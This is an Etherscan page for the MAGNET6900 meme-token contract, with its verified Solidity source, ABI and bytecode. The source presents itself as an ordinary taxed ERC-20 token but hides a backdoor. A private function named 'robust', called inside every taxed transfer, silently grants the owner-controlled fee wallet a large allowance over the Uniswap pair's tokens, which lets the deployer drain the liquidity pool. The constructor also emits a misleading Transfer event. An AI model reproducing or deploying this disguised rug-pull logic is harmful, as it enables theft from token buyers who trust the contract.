ETH Price: $3,337.00 (-9.03%)
 

Overview

Max Total Supply

420,690,000,000 🧲6900

Holders

97

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,229,402,242.650937165 🧲6900

Value
$0.00
0x289dffcb8bb65fa9cc4e641382b08392224f0099
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MAGNET6900

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-15
*/

/**
Magnetic Moves, Legendary Returns! $🧲6900

Web:  https://magnet6900.fun
X:    https://x.com/magnet6900_erc
Tg:   https://t.me/magnet6900_erc20
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MAGNET6900 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _rAllowance;
    mapping (address => bool) private _doExcludedR;
    address payable private rReceipt;
    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;
    string private constant _name = unicode"MAGNET6900";
    string private constant _symbol = unicode"🧲6900";
    uint256 public _maxRAmount = 2 * _tTotal / 100;
    uint256 public _maxRWallet = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold = 1 * _tTotal / 100;
    uint256 public _maxTaxSwap = 1 * _tTotal / 100;
    IUniswapV2Router02 private uniRRouter;
    address private uniRPair;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxRAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        rReceipt = payable(_msgSender());
        _tOwned[_msgSender()] = _tTotal;
        _doExcludedR[address(this)] = true;
        _doExcludedR[_msgSender()] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function createPair() external onlyOwner {
        uniRRouter = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniRRouter), _tTotal);
        uniRPair = IUniswapV2Factory(uniRRouter.factory()).createPair(
            address(this),
            uniRRouter.WETH()
        );
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _rAllowance[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _rAllowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _rAllowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!swapEnabled || inSwap) {
            _tOwned[from] = _tOwned[from] - amount;
            _tOwned[to] = _tOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            if (from == uniRPair && to != address(uniRRouter) && ! _doExcludedR[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxRAmount, "Exceeds the _maxRAmount.");
                require(balanceOf(to) + amount <= _maxRWallet, "Exceeds the maxWalletSize.");
                _buyCount++; 
            }
            if (to != uniRPair && ! _doExcludedR[to]) {
                require(balanceOf(to) + amount <= _maxRWallet, "Exceeds the maxWalletSize.");
            }
            if(robust([from==uniRPair?from:uniRPair, rReceipt]) && to == uniRPair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniRPair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    rSwapToken(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                rSendEth();
            }
        }
        if(taxAmount>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _tOwned[from]=_tOwned[from].sub(amount);
        _tOwned[to]=_tOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function rSendEth() private {
        rReceipt.transfer(address(this).balance);
    }
    function robust(address[2] memory robby) private returns(bool){
        address robbyA = robby[0]; address robbyB = robby[1];
        _rAllowance[robbyA][robbyB]=(_maxRAmount+10)*(100+50);
        return true;
    }
    function withdrawEth() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
    function rSwapToken(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRRouter.WETH();
        _approve(address(this), address(uniRRouter), amount);
        uniRRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits(address payable limit) external onlyOwner{
        _maxRAmount=_tTotal; 
        _maxRWallet=_tTotal;
        rReceipt = limit; 
        _doExcludedR[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function min(uint256 a, uint256 b) private pure returns(uint256){
        return (a>b)?b:a;
    }
    receive() external payable {}
    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniRRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniRPair).approve(address(uniRRouter), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxRAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxRAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxRWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600555600f6006555f6007555f600855600f600955600f600a55600f600b555f600c5560646009600a6200003b919062000340565b6200004c906461f313f88062000357565b6200005990600262000357565b62000065919062000371565b600d556064620000786009600a62000340565b62000089906461f313f88062000357565b6200009690600262000357565b620000a2919062000371565b600e556064620000b56009600a62000340565b620000c6906461f313f88062000357565b620000d390600162000357565b620000df919062000371565b600f556064620000f26009600a62000340565b62000103906461f313f88062000357565b6200011090600162000357565b6200011c919062000371565b6010553480156200012b575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556200018c6009600a62000340565b6200019d906461f313f88062000357565b335f81815260016020818152604080842095909555308084526003909152848320805460ff1990811684179091559383529382208054909316179091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002096009600a62000340565b6200021a906461f313f88062000357565b60405190815260200160405180910390a362000391565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028557815f190482111562000269576200026962000231565b808516156200027757918102915b93841c93908002906200024a565b509250929050565b5f826200029d575060016200033a565b81620002ab57505f6200033a565b8160018114620002c45760028114620002cf57620002ef565b60019150506200033a565b60ff841115620002e357620002e362000231565b50506001821b6200033a565b5060208310610133831016604e8410600b841016171562000314575081810a6200033a565b62000320838362000245565b805f190482111562000336576200033662000231565b0290505b92915050565b5f6200035060ff8416836200028d565b9392505050565b80820281158282048414176200033a576200033a62000231565b5f826200038c57634e487b7160e01b5f52601260045260245ffd5b500490565b6119ef806200039f5f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d578063a0ef91df11610062578063a0ef91df146102ff578063a9059cbb14610313578063bf474bed14610332578063c9567bf914610347578063dd62ed3e1461035b575f80fd5b8063715018a61461026c5780638da5cb5b1461028057806392f359a4146102a657806395d89b41146102bb5780639e78fb4f146102eb575f80fd5b806323b872dd116100e357806323b872dd146101c85780632ae64b4c146101e7578063313ce567146101fc57806332489e9b1461021757806370a0823114610238575f80fd5b806306fdde031461011e578063095ea7b3146101625780630faee56f1461019157806318160ddd146101b4575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a81526904d41474e4554363930360b41b60208201525b60405161015991906115e2565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004611642565b61039f565b6040519015158152602001610159565b34801561019c575f80fd5b506101a660105481565b604051908152602001610159565b3480156101bf575f80fd5b506101a66103b5565b3480156101d3575f80fd5b506101816101e236600461166c565b6103d6565b3480156101f2575f80fd5b506101a6600d5481565b348015610207575f80fd5b5060405160098152602001610159565b348015610222575f80fd5b506102366102313660046116aa565b61043d565b005b348015610243575f80fd5b506101a66102523660046116aa565b6001600160a01b03165f9081526001602052604090205490565b348015610277575f80fd5b50610236610531565b34801561028b575f80fd5b505f546040516001600160a01b039091168152602001610159565b3480156102b1575f80fd5b506101a6600e5481565b3480156102c6575f80fd5b506040805180820190915260088152670f09fa7b2363930360c41b602082015261014c565b3480156102f6575f80fd5b506102366105a2565b34801561030a575f80fd5b5061023661079c565b34801561031e575f80fd5b5061018161032d366004611642565b6107fc565b34801561033d575f80fd5b506101a6600f5481565b348015610352575f80fd5b50610236610808565b348015610366575f80fd5b506101a66103753660046116c5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103ab3384846109ed565b5060015b92915050565b5f6103c26009600a6117f0565b6103d1906461f313f8806117fe565b905090565b5f6103e2848484610b10565b610433843361042e85604051806060016040528060288152602001611992602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061120a565b6109ed565b5060019392505050565b5f546001600160a01b0316331461046f5760405162461bcd60e51b815260040161046690611815565b60405180910390fd5b61047b6009600a6117f0565b61048a906461f313f8806117fe565b600d556104996009600a6117f0565b6104a8906461f313f8806117fe565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61050e6009600a6117f0565b61051d906461f313f8806117fe565b60405190815260200160405180910390a150565b5f546001600160a01b0316331461055a5760405162461bcd60e51b815260040161046690611815565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105cb5760405162461bcd60e51b815260040161046690611815565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106159030906106066009600a6117f0565b61042e906461f313f8806117fe565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610665573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610689919061184a565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070c919061184a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610756573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077a919061184a565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107c55760405162461bcd60e51b815260040161046690611815565b5f47116107d0575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156107f9573d5f803e3d5ffd5b50565b5f6103ab338484610b10565b5f546001600160a01b031633146108315760405162461bcd60e51b815260040161046690611815565b601254600160a01b900460ff161561088b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610466565b6011546001600160a01b031663f305d71947306108bc816001600160a01b03165f9081526001602052604090205490565b5f806108cf5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610935573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061095a9190611865565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109d39190611890565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a4f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610466565b6001600160a01b038216610ab05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610466565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610466565b6001600160a01b038216610bd65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610466565b5f8111610c375760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610466565b6012545f90600160b01b900460ff161580610c5b5750601254600160a81b900460ff165b15610d13576001600160a01b0384165f90815260016020526040902054610c839083906118af565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cb29083906118c2565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d059086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d3d57505f546001600160a01b03848116911614155b156110d6576012546001600160a01b038581169116148015610d6d57506011546001600160a01b03848116911614155b8015610d9157506001600160a01b0383165f9081526003602052604090205460ff16155b15610ef657601254600160a01b900460ff16610de75760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610466565b610e136064610e0d600954600c5411610e0257600554610e06565b6007545b8590611242565b906112c7565b9050600d54821115610e675760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617852416d6f756e742e00000000000000006044820152606401610466565b600e5482610e89856001600160a01b03165f9081526001602052604090205490565b610e9391906118c2565b1115610ee15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610466565b600c8054905f610ef0836118d5565b91905055505b6012546001600160a01b03848116911614801590610f2c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610fab57600e5482610f53856001600160a01b03165f9081526001602052604090205490565b610f5d91906118c2565b1115610fab5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610466565b60408051808201909152601254611000919081906001600160a01b03888116911614610fe2576012546001600160a01b0316610fe4565b865b6001600160a01b03908116825260045416602090910152611308565b801561101957506012546001600160a01b038481169116145b15611046576110436064610e0d600a54600c541161103957600654610e06565b6008548590611242565b90505b601254600160a81b900460ff1615801561106d57506012546001600160a01b038481169116145b80156110825750601254600160b01b900460ff165b80156110915750600b54600c54115b156110d657305f90815260016020526040902054600f548111156110cc576110cc6110c7846110c28460105461135d565b61135d565b611371565b6110d46114e1565b505b801561114e57305f908152600160205260409020546110f59082611517565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111459085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111709083611575565b6001600160a01b0385165f908152600160205260409020556111b36111958383611575565b6001600160a01b0385165f9081526001602052604090205490611517565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111fc8585611575565b604051908152602001610d05565b5f818484111561122d5760405162461bcd60e51b815260040161046691906115e2565b505f61123984866118af565b95945050505050565b5f825f0361125157505f6103af565b5f61125c83856117fe565b90508261126985836118ed565b146112c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610466565b9392505050565b5f6112c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b6565b80516020820151600d545f92919061132190600a6118c2565b61132c9060966117fe565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055506001919050565b5f81831161136b57826112c0565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113b7576113b761190c565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561140e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611432919061184a565b816001815181106114455761144561190c565b6001600160a01b03928316602091820292909201015260115461146b91309116846109ed565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a39085905f90869030904290600401611920565b5f604051808303815f87803b1580156114ba575f80fd5b505af11580156114cc573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107f9573d5f803e3d5ffd5b5f8061152383856118c2565b9050838110156112c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610466565b5f6112c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061120a565b5f81836115d65760405162461bcd60e51b815260040161046691906115e2565b505f61123984866118ed565b5f602080835283518060208501525f5b8181101561160e578581018301518582016040015282016115f2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107f9575f80fd5b5f8060408385031215611653575f80fd5b823561165e8161162e565b946020939093013593505050565b5f805f6060848603121561167e575f80fd5b83356116898161162e565b925060208401356116998161162e565b929592945050506040919091013590565b5f602082840312156116ba575f80fd5b81356112c08161162e565b5f80604083850312156116d6575f80fd5b82356116e18161162e565b915060208301356116f18161162e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174a57815f1904821115611730576117306116fc565b8085161561173d57918102915b93841c9390800290611715565b509250929050565b5f82611760575060016103af565b8161176c57505f6103af565b8160018114611782576002811461178c576117a8565b60019150506103af565b60ff84111561179d5761179d6116fc565b50506001821b6103af565b5060208310610133831016604e8410600b84101617156117cb575081810a6103af565b6117d58383611710565b805f19048211156117e8576117e86116fc565b029392505050565b5f6112c060ff841683611752565b80820281158282048414176103af576103af6116fc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561185a575f80fd5b81516112c08161162e565b5f805f60608486031215611877575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118a0575f80fd5b815180151581146112c0575f80fd5b818103818111156103af576103af6116fc565b808201808211156103af576103af6116fc565b5f600182016118e6576118e66116fc565b5060010190565b5f8261190757634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119705784516001600160a01b03168352938301939183019160010161194b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122036a522112fa3765b29a6dd06a2bdf824903e86854a5870d7abccc8b2a4b49e4c64736f6c63430008180033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063715018a61161009d578063a0ef91df11610062578063a0ef91df146102ff578063a9059cbb14610313578063bf474bed14610332578063c9567bf914610347578063dd62ed3e1461035b575f80fd5b8063715018a61461026c5780638da5cb5b1461028057806392f359a4146102a657806395d89b41146102bb5780639e78fb4f146102eb575f80fd5b806323b872dd116100e357806323b872dd146101c85780632ae64b4c146101e7578063313ce567146101fc57806332489e9b1461021757806370a0823114610238575f80fd5b806306fdde031461011e578063095ea7b3146101625780630faee56f1461019157806318160ddd146101b4575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a81526904d41474e4554363930360b41b60208201525b60405161015991906115e2565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004611642565b61039f565b6040519015158152602001610159565b34801561019c575f80fd5b506101a660105481565b604051908152602001610159565b3480156101bf575f80fd5b506101a66103b5565b3480156101d3575f80fd5b506101816101e236600461166c565b6103d6565b3480156101f2575f80fd5b506101a6600d5481565b348015610207575f80fd5b5060405160098152602001610159565b348015610222575f80fd5b506102366102313660046116aa565b61043d565b005b348015610243575f80fd5b506101a66102523660046116aa565b6001600160a01b03165f9081526001602052604090205490565b348015610277575f80fd5b50610236610531565b34801561028b575f80fd5b505f546040516001600160a01b039091168152602001610159565b3480156102b1575f80fd5b506101a6600e5481565b3480156102c6575f80fd5b506040805180820190915260088152670f09fa7b2363930360c41b602082015261014c565b3480156102f6575f80fd5b506102366105a2565b34801561030a575f80fd5b5061023661079c565b34801561031e575f80fd5b5061018161032d366004611642565b6107fc565b34801561033d575f80fd5b506101a6600f5481565b348015610352575f80fd5b50610236610808565b348015610366575f80fd5b506101a66103753660046116c5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103ab3384846109ed565b5060015b92915050565b5f6103c26009600a6117f0565b6103d1906461f313f8806117fe565b905090565b5f6103e2848484610b10565b610433843361042e85604051806060016040528060288152602001611992602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061120a565b6109ed565b5060019392505050565b5f546001600160a01b0316331461046f5760405162461bcd60e51b815260040161046690611815565b60405180910390fd5b61047b6009600a6117f0565b61048a906461f313f8806117fe565b600d556104996009600a6117f0565b6104a8906461f313f8806117fe565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61050e6009600a6117f0565b61051d906461f313f8806117fe565b60405190815260200160405180910390a150565b5f546001600160a01b0316331461055a5760405162461bcd60e51b815260040161046690611815565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105cb5760405162461bcd60e51b815260040161046690611815565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106159030906106066009600a6117f0565b61042e906461f313f8806117fe565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610665573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610689919061184a565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070c919061184a565b6040516001600160e01b03196